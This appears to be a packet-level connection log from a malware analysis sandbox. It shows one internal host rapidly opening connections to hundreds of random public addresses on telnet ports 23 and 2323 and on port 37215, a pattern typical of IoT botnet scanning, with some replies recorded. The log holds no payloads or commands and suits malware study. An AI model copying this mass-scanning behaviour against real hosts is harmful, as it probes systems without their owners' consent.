Oct 8, 2024 20:34:59.319998980 CEST	48168	23	192.168.2.14	150.62.196.231
Oct 8, 2024 20:34:59.320012093 CEST	48168	23	192.168.2.14	43.163.143.225
Oct 8, 2024 20:34:59.320030928 CEST	48168	23	192.168.2.14	109.112.174.179
Oct 8, 2024 20:34:59.320040941 CEST	48168	23	192.168.2.14	32.59.209.114
Oct 8, 2024 20:34:59.320049047 CEST	48168	23	192.168.2.14	180.57.180.170
Oct 8, 2024 20:34:59.320067883 CEST	48168	23	192.168.2.14	63.0.149.26
Oct 8, 2024 20:34:59.320097923 CEST	48168	23	192.168.2.14	64.247.41.239
Oct 8, 2024 20:34:59.320111036 CEST	48168	2323	192.168.2.14	209.77.59.196
Oct 8, 2024 20:34:59.320123911 CEST	48168	23	192.168.2.14	96.147.220.115
Oct 8, 2024 20:34:59.320123911 CEST	48168	23	192.168.2.14	103.78.106.114
Oct 8, 2024 20:34:59.320137978 CEST	48168	23	192.168.2.14	168.197.95.99
Oct 8, 2024 20:34:59.320152044 CEST	48168	23	192.168.2.14	178.156.160.88
Oct 8, 2024 20:34:59.320168018 CEST	48168	23	192.168.2.14	200.30.84.26
Oct 8, 2024 20:34:59.320184946 CEST	48168	23	192.168.2.14	67.65.134.241
Oct 8, 2024 20:34:59.320195913 CEST	48168	23	192.168.2.14	171.172.181.19
Oct 8, 2024 20:34:59.320214987 CEST	48168	23	192.168.2.14	54.107.218.133
Oct 8, 2024 20:34:59.320225000 CEST	48168	23	192.168.2.14	12.215.242.248
Oct 8, 2024 20:34:59.320239067 CEST	48168	23	192.168.2.14	32.246.238.69
Oct 8, 2024 20:34:59.320250988 CEST	48168	2323	192.168.2.14	220.164.43.138
Oct 8, 2024 20:34:59.320256948 CEST	48168	23	192.168.2.14	142.182.214.118
Oct 8, 2024 20:34:59.320283890 CEST	48168	23	192.168.2.14	82.185.178.63
Oct 8, 2024 20:34:59.320291042 CEST	48168	23	192.168.2.14	41.100.138.96
Oct 8, 2024 20:34:59.320302010 CEST	48168	23	192.168.2.14	181.243.241.101
Oct 8, 2024 20:34:59.320318937 CEST	48168	23	192.168.2.14	76.16.55.121
Oct 8, 2024 20:34:59.320329905 CEST	48168	23	192.168.2.14	81.226.149.55
Oct 8, 2024 20:34:59.320338011 CEST	48168	23	192.168.2.14	154.241.10.165
Oct 8, 2024 20:34:59.320358038 CEST	48168	23	192.168.2.14	112.226.250.39
Oct 8, 2024 20:34:59.320369959 CEST	48168	23	192.168.2.14	196.129.10.39
Oct 8, 2024 20:34:59.320384979 CEST	48168	2323	192.168.2.14	121.233.123.63
Oct 8, 2024 20:34:59.320400000 CEST	48168	23	192.168.2.14	202.36.144.100
Oct 8, 2024 20:34:59.320405960 CEST	48168	23	192.168.2.14	47.57.143.194
Oct 8, 2024 20:34:59.320425034 CEST	48168	23	192.168.2.14	126.126.161.9
Oct 8, 2024 20:34:59.320434093 CEST	48168	23	192.168.2.14	156.144.185.105
Oct 8, 2024 20:34:59.320453882 CEST	48168	23	192.168.2.14	83.234.104.18
Oct 8, 2024 20:34:59.320463896 CEST	48168	23	192.168.2.14	59.22.12.197
Oct 8, 2024 20:34:59.320487022 CEST	48168	23	192.168.2.14	193.143.120.162
Oct 8, 2024 20:34:59.320496082 CEST	48168	23	192.168.2.14	143.18.233.141
Oct 8, 2024 20:34:59.320512056 CEST	48168	23	192.168.2.14	90.246.168.48
Oct 8, 2024 20:34:59.320524931 CEST	48168	2323	192.168.2.14	72.28.144.82
Oct 8, 2024 20:34:59.320549965 CEST	48168	23	192.168.2.14	180.154.151.97
Oct 8, 2024 20:34:59.320565939 CEST	48168	23	192.168.2.14	48.1.236.216
Oct 8, 2024 20:34:59.320580006 CEST	48168	23	192.168.2.14	187.56.74.6
Oct 8, 2024 20:34:59.320585966 CEST	48168	23	192.168.2.14	217.20.129.32
Oct 8, 2024 20:34:59.320590019 CEST	48168	23	192.168.2.14	109.209.103.87
Oct 8, 2024 20:34:59.320601940 CEST	48168	23	192.168.2.14	193.89.39.6
Oct 8, 2024 20:34:59.320611954 CEST	48168	23	192.168.2.14	59.145.148.85
Oct 8, 2024 20:34:59.320621967 CEST	48168	23	192.168.2.14	12.50.243.193
Oct 8, 2024 20:34:59.320655107 CEST	48168	23	192.168.2.14	60.200.14.150
Oct 8, 2024 20:34:59.320662975 CEST	48168	2323	192.168.2.14	39.58.115.7
Oct 8, 2024 20:34:59.320666075 CEST	48168	23	192.168.2.14	60.91.167.21
Oct 8, 2024 20:34:59.320677042 CEST	48168	23	192.168.2.14	213.24.223.142
Oct 8, 2024 20:34:59.320681095 CEST	48168	23	192.168.2.14	17.165.18.245
Oct 8, 2024 20:34:59.320697069 CEST	48168	23	192.168.2.14	208.4.234.242
Oct 8, 2024 20:34:59.320704937 CEST	48168	23	192.168.2.14	146.29.236.83
Oct 8, 2024 20:34:59.320723057 CEST	48168	23	192.168.2.14	78.185.71.88
Oct 8, 2024 20:34:59.320739031 CEST	48168	23	192.168.2.14	47.56.39.232
Oct 8, 2024 20:34:59.320753098 CEST	48168	23	192.168.2.14	92.39.33.56
Oct 8, 2024 20:34:59.320771933 CEST	48168	23	192.168.2.14	156.214.14.151
Oct 8, 2024 20:34:59.322881937 CEST	23	46900	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:59.323193073 CEST	23	47090	119.202.20.29	192.168.2.14
Oct 8, 2024 20:34:59.323256016 CEST	47090	23	192.168.2.14	119.202.20.29
Oct 8, 2024 20:34:59.323784113 CEST	2323	48168	67.217.183.75	192.168.2.14
Oct 8, 2024 20:34:59.323795080 CEST	23	48168	116.61.47.211	192.168.2.14
Oct 8, 2024 20:34:59.323802948 CEST	23	48168	208.24.198.240	192.168.2.14
Oct 8, 2024 20:34:59.323813915 CEST	23	48168	103.55.107.73	192.168.2.14
Oct 8, 2024 20:34:59.323838949 CEST	48168	2323	192.168.2.14	67.217.183.75
Oct 8, 2024 20:34:59.323854923 CEST	48168	23	192.168.2.14	116.61.47.211
Oct 8, 2024 20:34:59.323854923 CEST	48168	23	192.168.2.14	208.24.198.240
Oct 8, 2024 20:34:59.323868990 CEST	48168	23	192.168.2.14	103.55.107.73
Oct 8, 2024 20:34:59.324728966 CEST	23	48168	171.180.178.249	192.168.2.14
Oct 8, 2024 20:34:59.324779987 CEST	48168	23	192.168.2.14	171.180.178.249
Oct 8, 2024 20:34:59.324836016 CEST	23	48168	120.89.80.64	192.168.2.14
Oct 8, 2024 20:34:59.324847937 CEST	23	48168	133.255.148.149	192.168.2.14
Oct 8, 2024 20:34:59.324881077 CEST	48168	23	192.168.2.14	120.89.80.64
Oct 8, 2024 20:34:59.324894905 CEST	23	48168	46.3.220.217	192.168.2.14
Oct 8, 2024 20:34:59.324913025 CEST	2323	48168	76.130.1.41	192.168.2.14
Oct 8, 2024 20:34:59.324915886 CEST	48168	23	192.168.2.14	133.255.148.149
Oct 8, 2024 20:34:59.324923992 CEST	23	48168	116.165.163.53	192.168.2.14
Oct 8, 2024 20:34:59.324934006 CEST	48168	23	192.168.2.14	46.3.220.217
Oct 8, 2024 20:34:59.324950933 CEST	48168	2323	192.168.2.14	76.130.1.41
Oct 8, 2024 20:34:59.324960947 CEST	48168	23	192.168.2.14	116.165.163.53
Oct 8, 2024 20:34:59.325084925 CEST	23	48168	194.220.6.218	192.168.2.14
Oct 8, 2024 20:34:59.325129032 CEST	48168	23	192.168.2.14	194.220.6.218
Oct 8, 2024 20:34:59.325243950 CEST	23	48168	36.226.40.33	192.168.2.14
Oct 8, 2024 20:34:59.325254917 CEST	23	48168	112.199.208.63	192.168.2.14
Oct 8, 2024 20:34:59.325263977 CEST	23	48168	165.180.143.33	192.168.2.14
Oct 8, 2024 20:34:59.325273991 CEST	23	48168	2.227.68.102	192.168.2.14
Oct 8, 2024 20:34:59.325283051 CEST	23	48168	36.176.50.0	192.168.2.14
Oct 8, 2024 20:34:59.325283051 CEST	48168	23	192.168.2.14	112.199.208.63
Oct 8, 2024 20:34:59.325294971 CEST	23	48168	104.224.249.245	192.168.2.14
Oct 8, 2024 20:34:59.325295925 CEST	48168	23	192.168.2.14	165.180.143.33
Oct 8, 2024 20:34:59.325306892 CEST	48168	23	192.168.2.14	36.226.40.33
Oct 8, 2024 20:34:59.325306892 CEST	48168	23	192.168.2.14	2.227.68.102
Oct 8, 2024 20:34:59.325313091 CEST	23	48168	48.131.134.185	192.168.2.14
Oct 8, 2024 20:34:59.325323105 CEST	23	48168	118.46.93.80	192.168.2.14
Oct 8, 2024 20:34:59.325335026 CEST	48168	23	192.168.2.14	36.176.50.0
Oct 8, 2024 20:34:59.325335979 CEST	23	48168	170.19.108.123	192.168.2.14
Oct 8, 2024 20:34:59.325335026 CEST	48168	23	192.168.2.14	104.224.249.245
Oct 8, 2024 20:34:59.325350046 CEST	23	48168	113.122.124.98	192.168.2.14
Oct 8, 2024 20:34:59.325352907 CEST	48168	23	192.168.2.14	118.46.93.80
Oct 8, 2024 20:34:59.325357914 CEST	48168	23	192.168.2.14	48.131.134.185
Oct 8, 2024 20:34:59.325361967 CEST	48168	23	192.168.2.14	170.19.108.123
Oct 8, 2024 20:34:59.325386047 CEST	48168	23	192.168.2.14	113.122.124.98
Oct 8, 2024 20:34:59.325387001 CEST	2323	48168	180.11.126.119	192.168.2.14
Oct 8, 2024 20:34:59.325397015 CEST	23	48168	119.95.38.68	192.168.2.14
Oct 8, 2024 20:34:59.325408936 CEST	23	48168	67.151.0.141	192.168.2.14
Oct 8, 2024 20:34:59.325418949 CEST	23	48168	39.231.6.184	192.168.2.14
Oct 8, 2024 20:34:59.325428009 CEST	23	48168	221.155.237.253	192.168.2.14
Oct 8, 2024 20:34:59.325428009 CEST	48168	2323	192.168.2.14	180.11.126.119
Oct 8, 2024 20:34:59.325443983 CEST	48168	23	192.168.2.14	67.151.0.141
Oct 8, 2024 20:34:59.325449944 CEST	23	48168	100.186.131.247	192.168.2.14
Oct 8, 2024 20:34:59.325457096 CEST	48168	23	192.168.2.14	119.95.38.68
Oct 8, 2024 20:34:59.325458050 CEST	48168	23	192.168.2.14	39.231.6.184
Oct 8, 2024 20:34:59.325457096 CEST	48168	23	192.168.2.14	221.155.237.253
Oct 8, 2024 20:34:59.325460911 CEST	23	48168	184.178.88.216	192.168.2.14
Oct 8, 2024 20:34:59.325470924 CEST	23	48168	159.244.34.78	192.168.2.14
Oct 8, 2024 20:34:59.325488091 CEST	2323	48168	179.13.198.54	192.168.2.14
Oct 8, 2024 20:34:59.325489044 CEST	48168	23	192.168.2.14	100.186.131.247
Oct 8, 2024 20:34:59.325498104 CEST	23	48168	144.35.93.68	192.168.2.14
Oct 8, 2024 20:34:59.325506926 CEST	23	48168	122.189.140.53	192.168.2.14
Oct 8, 2024 20:34:59.325511932 CEST	48168	23	192.168.2.14	159.244.34.78
Oct 8, 2024 20:34:59.325522900 CEST	48168	2323	192.168.2.14	179.13.198.54
Oct 8, 2024 20:34:59.325526953 CEST	23	48168	190.247.70.90	192.168.2.14
Oct 8, 2024 20:34:59.325536966 CEST	23	48168	93.237.44.89	192.168.2.14
Oct 8, 2024 20:34:59.325536966 CEST	48168	23	192.168.2.14	122.189.140.53
Oct 8, 2024 20:34:59.325544119 CEST	48168	23	192.168.2.14	184.178.88.216
Oct 8, 2024 20:34:59.325548887 CEST	23	48168	168.35.21.106	192.168.2.14
Oct 8, 2024 20:34:59.325552940 CEST	48168	23	192.168.2.14	144.35.93.68
Oct 8, 2024 20:34:59.325556040 CEST	48168	23	192.168.2.14	190.247.70.90
Oct 8, 2024 20:34:59.325570107 CEST	48168	23	192.168.2.14	93.237.44.89
Oct 8, 2024 20:34:59.325581074 CEST	48168	23	192.168.2.14	168.35.21.106
Oct 8, 2024 20:34:59.325635910 CEST	23	48168	57.63.61.88	192.168.2.14
Oct 8, 2024 20:34:59.325647116 CEST	23	48168	116.27.2.55	192.168.2.14
Oct 8, 2024 20:34:59.325655937 CEST	23	48168	169.129.31.164	192.168.2.14
Oct 8, 2024 20:34:59.325664997 CEST	23	48168	204.107.200.80	192.168.2.14
Oct 8, 2024 20:34:59.325675011 CEST	23	48168	123.149.106.140	192.168.2.14
Oct 8, 2024 20:34:59.325675011 CEST	48168	23	192.168.2.14	57.63.61.88
Oct 8, 2024 20:34:59.325681925 CEST	48168	23	192.168.2.14	116.27.2.55
Oct 8, 2024 20:34:59.325685024 CEST	2323	48168	199.65.53.100	192.168.2.14
Oct 8, 2024 20:34:59.325695038 CEST	23	48168	76.231.79.33	192.168.2.14
Oct 8, 2024 20:34:59.325705051 CEST	23	48168	58.111.70.86	192.168.2.14
Oct 8, 2024 20:34:59.325710058 CEST	48168	23	192.168.2.14	169.129.31.164
Oct 8, 2024 20:34:59.325710058 CEST	48168	23	192.168.2.14	204.107.200.80
Oct 8, 2024 20:34:59.325717926 CEST	48168	23	192.168.2.14	123.149.106.140
Oct 8, 2024 20:34:59.325722933 CEST	48168	2323	192.168.2.14	199.65.53.100
Oct 8, 2024 20:34:59.325732946 CEST	48168	23	192.168.2.14	76.231.79.33
Oct 8, 2024 20:34:59.325742006 CEST	23	48168	92.19.12.95	192.168.2.14
Oct 8, 2024 20:34:59.325752020 CEST	23	48168	42.89.216.0	192.168.2.14
Oct 8, 2024 20:34:59.325756073 CEST	48168	23	192.168.2.14	58.111.70.86
Oct 8, 2024 20:34:59.325761080 CEST	23	48168	141.104.101.1	192.168.2.14
Oct 8, 2024 20:34:59.325788021 CEST	48168	23	192.168.2.14	92.19.12.95
Oct 8, 2024 20:34:59.325788975 CEST	48168	23	192.168.2.14	42.89.216.0
Oct 8, 2024 20:34:59.325798988 CEST	48168	23	192.168.2.14	141.104.101.1
Oct 8, 2024 20:34:59.326428890 CEST	23	48168	195.38.42.238	192.168.2.14
Oct 8, 2024 20:34:59.326494932 CEST	48168	23	192.168.2.14	195.38.42.238
Oct 8, 2024 20:34:59.326510906 CEST	23	48168	107.181.240.85	192.168.2.14
Oct 8, 2024 20:34:59.326522112 CEST	23	48168	221.111.184.33	192.168.2.14
Oct 8, 2024 20:34:59.326538086 CEST	2323	48168	34.65.217.22	192.168.2.14
Oct 8, 2024 20:34:59.326550007 CEST	23	48168	17.218.162.121	192.168.2.14
Oct 8, 2024 20:34:59.326560020 CEST	48168	23	192.168.2.14	107.181.240.85
Oct 8, 2024 20:34:59.326560020 CEST	23	48168	145.37.78.214	192.168.2.14
Oct 8, 2024 20:34:59.326570988 CEST	23	48168	40.182.138.1	192.168.2.14
Oct 8, 2024 20:34:59.326586008 CEST	23	48168	12.229.119.30	192.168.2.14
Oct 8, 2024 20:34:59.326595068 CEST	23	48168	203.252.39.58	192.168.2.14
Oct 8, 2024 20:34:59.326603889 CEST	23	48168	2.156.31.55	192.168.2.14
Oct 8, 2024 20:34:59.326611996 CEST	48168	23	192.168.2.14	40.182.138.1
Oct 8, 2024 20:34:59.326617002 CEST	48168	2323	192.168.2.14	34.65.217.22
Oct 8, 2024 20:34:59.326617956 CEST	48168	23	192.168.2.14	12.229.119.30
Oct 8, 2024 20:34:59.326623917 CEST	23	48168	156.139.218.17	192.168.2.14
Oct 8, 2024 20:34:59.326634884 CEST	23	48168	43.245.67.151	192.168.2.14
Oct 8, 2024 20:34:59.326641083 CEST	23	48168	99.111.236.224	192.168.2.14
Oct 8, 2024 20:34:59.326643944 CEST	48168	23	192.168.2.14	203.252.39.58
Oct 8, 2024 20:34:59.326646090 CEST	23	48168	83.131.194.92	192.168.2.14
Oct 8, 2024 20:34:59.326647997 CEST	48168	23	192.168.2.14	221.111.184.33
Oct 8, 2024 20:34:59.326651096 CEST	2323	48168	99.137.50.63	192.168.2.14
Oct 8, 2024 20:34:59.326647997 CEST	48168	23	192.168.2.14	17.218.162.121
Oct 8, 2024 20:34:59.326643944 CEST	48168	23	192.168.2.14	2.156.31.55
Oct 8, 2024 20:34:59.326647997 CEST	48168	23	192.168.2.14	145.37.78.214
Oct 8, 2024 20:34:59.326659918 CEST	23	48168	69.36.192.150	192.168.2.14
Oct 8, 2024 20:34:59.326669931 CEST	23	48168	103.189.35.21	192.168.2.14
Oct 8, 2024 20:34:59.326679945 CEST	23	48168	126.154.201.148	192.168.2.14
Oct 8, 2024 20:34:59.326689959 CEST	23	48168	117.230.235.84	192.168.2.14
Oct 8, 2024 20:34:59.326703072 CEST	48168	23	192.168.2.14	103.189.35.21
Oct 8, 2024 20:34:59.326709986 CEST	48168	23	192.168.2.14	126.154.201.148
Oct 8, 2024 20:34:59.326710939 CEST	48168	23	192.168.2.14	156.139.218.17
Oct 8, 2024 20:34:59.326714993 CEST	48168	23	192.168.2.14	117.230.235.84
Oct 8, 2024 20:34:59.326726913 CEST	48168	23	192.168.2.14	69.36.192.150
Oct 8, 2024 20:34:59.326730967 CEST	48168	23	192.168.2.14	43.245.67.151
Oct 8, 2024 20:34:59.326730967 CEST	48168	23	192.168.2.14	99.111.236.224
Oct 8, 2024 20:34:59.326745033 CEST	48168	23	192.168.2.14	83.131.194.92
Oct 8, 2024 20:34:59.326750040 CEST	48168	2323	192.168.2.14	99.137.50.63
Oct 8, 2024 20:34:59.615281105 CEST	36872	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.615281105 CEST	59304	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:59.615288019 CEST	54066	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:59.615300894 CEST	37114	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:59.615288973 CEST	36270	37215	192.168.2.14	41.197.11.205
Oct 8, 2024 20:34:59.615309000 CEST	50910	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:59.615309954 CEST	43544	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:59.615317106 CEST	54198	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:59.615335941 CEST	47356	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:59.615335941 CEST	34370	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:59.615336895 CEST	47934	37215	192.168.2.14	197.99.192.124
Oct 8, 2024 20:34:59.615339994 CEST	49980	37215	192.168.2.14	156.174.103.73
Oct 8, 2024 20:34:59.615340948 CEST	51014	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:59.615345001 CEST	54304	37215	192.168.2.14	41.56.138.239
Oct 8, 2024 20:34:59.615348101 CEST	42658	37215	192.168.2.14	197.148.38.33
Oct 8, 2024 20:34:59.615345001 CEST	45938	37215	192.168.2.14	197.188.135.64
Oct 8, 2024 20:34:59.615358114 CEST	35262	37215	192.168.2.14	156.196.119.180
Oct 8, 2024 20:34:59.615370035 CEST	36758	37215	192.168.2.14	41.189.232.28
Oct 8, 2024 20:34:59.620121002 CEST	37215	36872	41.135.155.163	192.168.2.14
Oct 8, 2024 20:34:59.620263100 CEST	36872	37215	192.168.2.14	41.135.155.163
Oct 8, 2024 20:34:59.620378017 CEST	48169	37215	192.168.2.14	41.74.171.135
Oct 8, 2024 20:34:59.620381117 CEST	48169	37215	192.168.2.14	197.234.147.243
Oct 8, 2024 20:34:59.620417118 CEST	48169	37215	192.168.2.14	197.234.121.237
Oct 8, 2024 20:34:59.620417118 CEST	48169	37215	192.168.2.14	41.87.89.221
Oct 8, 2024 20:34:59.620417118 CEST	48169	37215	192.168.2.14	41.6.80.20
Oct 8, 2024 20:34:59.620418072 CEST	48169	37215	192.168.2.14	156.184.10.160
Oct 8, 2024 20:34:59.620420933 CEST	48169	37215	192.168.2.14	197.201.120.93
Oct 8, 2024 20:34:59.620421886 CEST	48169	37215	192.168.2.14	156.160.61.36
Oct 8, 2024 20:34:59.620429039 CEST	48169	37215	192.168.2.14	197.120.199.20
Oct 8, 2024 20:34:59.620429993 CEST	48169	37215	192.168.2.14	41.22.29.207
Oct 8, 2024 20:34:59.620433092 CEST	48169	37215	192.168.2.14	41.147.36.112
Oct 8, 2024 20:34:59.620440006 CEST	48169	37215	192.168.2.14	197.176.73.228
Oct 8, 2024 20:34:59.620443106 CEST	48169	37215	192.168.2.14	41.171.183.142
Oct 8, 2024 20:34:59.620443106 CEST	48169	37215	192.168.2.14	156.73.199.193
Oct 8, 2024 20:34:59.620443106 CEST	48169	37215	192.168.2.14	41.197.34.4
Oct 8, 2024 20:34:59.620445013 CEST	37215	59304	41.67.50.187	192.168.2.14
Oct 8, 2024 20:34:59.620444059 CEST	48169	37215	192.168.2.14	41.158.217.126
Oct 8, 2024 20:34:59.620449066 CEST	48169	37215	192.168.2.14	156.110.188.36
Oct 8, 2024 20:34:59.620450974 CEST	48169	37215	192.168.2.14	197.23.227.182
Oct 8, 2024 20:34:59.620450020 CEST	48169	37215	192.168.2.14	41.254.137.3
Oct 8, 2024 20:34:59.620450020 CEST	48169	37215	192.168.2.14	197.72.57.64
Oct 8, 2024 20:34:59.620457888 CEST	37215	37114	197.30.59.26	192.168.2.14
Oct 8, 2024 20:34:59.620467901 CEST	37215	54198	197.204.33.127	192.168.2.14
Oct 8, 2024 20:34:59.620485067 CEST	48169	37215	192.168.2.14	197.35.12.40
Oct 8, 2024 20:34:59.620495081 CEST	37114	37215	192.168.2.14	197.30.59.26
Oct 8, 2024 20:34:59.620517969 CEST	59304	37215	192.168.2.14	41.67.50.187
Oct 8, 2024 20:34:59.620517969 CEST	48169	37215	192.168.2.14	197.208.172.85
Oct 8, 2024 20:34:59.620537996 CEST	48169	37215	192.168.2.14	197.252.42.79
Oct 8, 2024 20:34:59.620541096 CEST	48169	37215	192.168.2.14	197.206.50.235
Oct 8, 2024 20:34:59.620551109 CEST	54198	37215	192.168.2.14	197.204.33.127
Oct 8, 2024 20:34:59.620551109 CEST	48169	37215	192.168.2.14	41.226.54.150
Oct 8, 2024 20:34:59.620518923 CEST	48169	37215	192.168.2.14	156.251.226.166
Oct 8, 2024 20:34:59.620562077 CEST	48169	37215	192.168.2.14	41.17.71.120
Oct 8, 2024 20:34:59.620568037 CEST	48169	37215	192.168.2.14	41.114.148.76
Oct 8, 2024 20:34:59.620577097 CEST	48169	37215	192.168.2.14	197.3.21.181
Oct 8, 2024 20:34:59.620615005 CEST	48169	37215	192.168.2.14	197.137.200.65
Oct 8, 2024 20:34:59.620615005 CEST	48169	37215	192.168.2.14	41.124.115.175
Oct 8, 2024 20:34:59.620615959 CEST	48169	37215	192.168.2.14	156.37.80.23
Oct 8, 2024 20:34:59.620615005 CEST	48169	37215	192.168.2.14	197.171.159.163
Oct 8, 2024 20:34:59.620625019 CEST	48169	37215	192.168.2.14	197.19.71.160
Oct 8, 2024 20:34:59.620640993 CEST	48169	37215	192.168.2.14	156.192.253.95
Oct 8, 2024 20:34:59.620641947 CEST	48169	37215	192.168.2.14	197.98.218.209
Oct 8, 2024 20:34:59.620640993 CEST	48169	37215	192.168.2.14	41.199.133.244
Oct 8, 2024 20:34:59.620640993 CEST	48169	37215	192.168.2.14	197.25.102.21
Oct 8, 2024 20:34:59.620640993 CEST	48169	37215	192.168.2.14	197.116.8.55
Oct 8, 2024 20:34:59.620659113 CEST	48169	37215	192.168.2.14	197.101.183.248
Oct 8, 2024 20:34:59.620659113 CEST	48169	37215	192.168.2.14	156.228.183.104
Oct 8, 2024 20:34:59.620659113 CEST	48169	37215	192.168.2.14	197.86.161.88
Oct 8, 2024 20:34:59.620661020 CEST	48169	37215	192.168.2.14	197.215.173.79
Oct 8, 2024 20:34:59.620661974 CEST	48169	37215	192.168.2.14	197.221.171.97
Oct 8, 2024 20:34:59.620665073 CEST	48169	37215	192.168.2.14	197.193.35.211
Oct 8, 2024 20:34:59.620665073 CEST	48169	37215	192.168.2.14	156.176.246.246
Oct 8, 2024 20:34:59.620665073 CEST	48169	37215	192.168.2.14	197.208.66.44
Oct 8, 2024 20:34:59.620673895 CEST	48169	37215	192.168.2.14	156.146.174.170
Oct 8, 2024 20:34:59.620676041 CEST	48169	37215	192.168.2.14	41.142.162.237
Oct 8, 2024 20:34:59.620676041 CEST	48169	37215	192.168.2.14	156.176.39.55
Oct 8, 2024 20:34:59.620675087 CEST	48169	37215	192.168.2.14	41.19.149.210
Oct 8, 2024 20:34:59.620682001 CEST	48169	37215	192.168.2.14	156.254.116.103
Oct 8, 2024 20:34:59.620683908 CEST	48169	37215	192.168.2.14	156.227.108.22
Oct 8, 2024 20:34:59.620683908 CEST	48169	37215	192.168.2.14	197.48.216.225
Oct 8, 2024 20:34:59.620683908 CEST	48169	37215	192.168.2.14	156.134.144.152
Oct 8, 2024 20:34:59.620697021 CEST	48169	37215	192.168.2.14	41.224.110.70
Oct 8, 2024 20:34:59.620698929 CEST	48169	37215	192.168.2.14	197.71.245.8
Oct 8, 2024 20:34:59.620698929 CEST	48169	37215	192.168.2.14	156.74.42.34
Oct 8, 2024 20:34:59.620699883 CEST	48169	37215	192.168.2.14	156.149.41.77
Oct 8, 2024 20:34:59.620698929 CEST	48169	37215	192.168.2.14	156.105.53.72
Oct 8, 2024 20:34:59.620706081 CEST	48169	37215	192.168.2.14	197.249.106.134
Oct 8, 2024 20:34:59.620714903 CEST	48169	37215	192.168.2.14	156.171.63.109
Oct 8, 2024 20:34:59.620718002 CEST	48169	37215	192.168.2.14	41.247.125.181
Oct 8, 2024 20:34:59.620718002 CEST	48169	37215	192.168.2.14	156.54.49.245
Oct 8, 2024 20:34:59.620728970 CEST	48169	37215	192.168.2.14	156.220.111.132
Oct 8, 2024 20:34:59.620728970 CEST	48169	37215	192.168.2.14	41.63.86.138
Oct 8, 2024 20:34:59.620728970 CEST	48169	37215	192.168.2.14	197.134.60.146
Oct 8, 2024 20:34:59.620729923 CEST	48169	37215	192.168.2.14	41.134.240.0
Oct 8, 2024 20:34:59.620728970 CEST	48169	37215	192.168.2.14	197.80.87.142
Oct 8, 2024 20:34:59.620733023 CEST	48169	37215	192.168.2.14	197.158.224.17
Oct 8, 2024 20:34:59.620733023 CEST	48169	37215	192.168.2.14	197.206.119.29
Oct 8, 2024 20:34:59.620733023 CEST	48169	37215	192.168.2.14	197.217.167.142
Oct 8, 2024 20:34:59.620738983 CEST	48169	37215	192.168.2.14	41.129.58.187
Oct 8, 2024 20:34:59.620745897 CEST	48169	37215	192.168.2.14	156.100.35.13
Oct 8, 2024 20:34:59.620745897 CEST	48169	37215	192.168.2.14	197.255.113.43
Oct 8, 2024 20:34:59.620747089 CEST	48169	37215	192.168.2.14	156.39.226.246
Oct 8, 2024 20:34:59.620748997 CEST	48169	37215	192.168.2.14	156.230.167.19
Oct 8, 2024 20:34:59.620760918 CEST	48169	37215	192.168.2.14	197.207.135.132
Oct 8, 2024 20:34:59.620760918 CEST	48169	37215	192.168.2.14	156.34.177.207
Oct 8, 2024 20:34:59.620776892 CEST	48169	37215	192.168.2.14	197.209.14.228
Oct 8, 2024 20:34:59.620785952 CEST	48169	37215	192.168.2.14	41.167.245.27
Oct 8, 2024 20:34:59.620790005 CEST	48169	37215	192.168.2.14	197.16.15.173
Oct 8, 2024 20:34:59.620806932 CEST	48169	37215	192.168.2.14	156.131.132.113
Oct 8, 2024 20:34:59.620810986 CEST	48169	37215	192.168.2.14	197.202.100.43
Oct 8, 2024 20:34:59.620815039 CEST	48169	37215	192.168.2.14	41.191.160.111
Oct 8, 2024 20:34:59.620840073 CEST	48169	37215	192.168.2.14	41.247.111.28
Oct 8, 2024 20:34:59.620848894 CEST	48169	37215	192.168.2.14	41.126.220.66
Oct 8, 2024 20:34:59.620852947 CEST	48169	37215	192.168.2.14	197.242.125.70
Oct 8, 2024 20:34:59.620857954 CEST	48169	37215	192.168.2.14	41.20.246.43
Oct 8, 2024 20:34:59.620863914 CEST	48169	37215	192.168.2.14	197.48.209.15
Oct 8, 2024 20:34:59.620867968 CEST	37215	50910	197.179.205.141	192.168.2.14
Oct 8, 2024 20:34:59.620877981 CEST	37215	43544	197.220.219.212	192.168.2.14
Oct 8, 2024 20:34:59.620879889 CEST	48169	37215	192.168.2.14	41.1.205.198
Oct 8, 2024 20:34:59.620887995 CEST	48169	37215	192.168.2.14	197.205.54.247
Oct 8, 2024 20:34:59.620898008 CEST	37215	54066	197.236.253.41	192.168.2.14
Oct 8, 2024 20:34:59.620902061 CEST	48169	37215	192.168.2.14	197.182.85.204
Oct 8, 2024 20:34:59.620903969 CEST	48169	37215	192.168.2.14	41.12.173.247
Oct 8, 2024 20:34:59.620904922 CEST	48169	37215	192.168.2.14	156.147.15.3
Oct 8, 2024 20:34:59.620910883 CEST	37215	51014	41.125.67.250	192.168.2.14
Oct 8, 2024 20:34:59.620918989 CEST	37215	47356	156.176.7.254	192.168.2.14
Oct 8, 2024 20:34:59.620927095 CEST	37215	34370	197.177.162.81	192.168.2.14
Oct 8, 2024 20:34:59.620929003 CEST	48169	37215	192.168.2.14	197.244.195.106
Oct 8, 2024 20:34:59.620935917 CEST	37215	47934	197.99.192.124	192.168.2.14
Oct 8, 2024 20:34:59.620937109 CEST	43544	37215	192.168.2.14	197.220.219.212
Oct 8, 2024 20:34:59.620937109 CEST	48169	37215	192.168.2.14	197.205.141.139
Oct 8, 2024 20:34:59.620942116 CEST	54066	37215	192.168.2.14	197.236.253.41
Oct 8, 2024 20:34:59.620944023 CEST	37215	42658	197.148.38.33	192.168.2.14
Oct 8, 2024 20:34:59.620944023 CEST	50910	37215	192.168.2.14	197.179.205.141
Oct 8, 2024 20:34:59.620948076 CEST	51014	37215	192.168.2.14	41.125.67.250
Oct 8, 2024 20:34:59.620959044 CEST	47356	37215	192.168.2.14	156.176.7.254
Oct 8, 2024 20:34:59.620959044 CEST	34370	37215	192.168.2.14	197.177.162.81
Oct 8, 2024 20:34:59.620959044 CEST	47934	37215	192.168.2.14	197.99.192.124
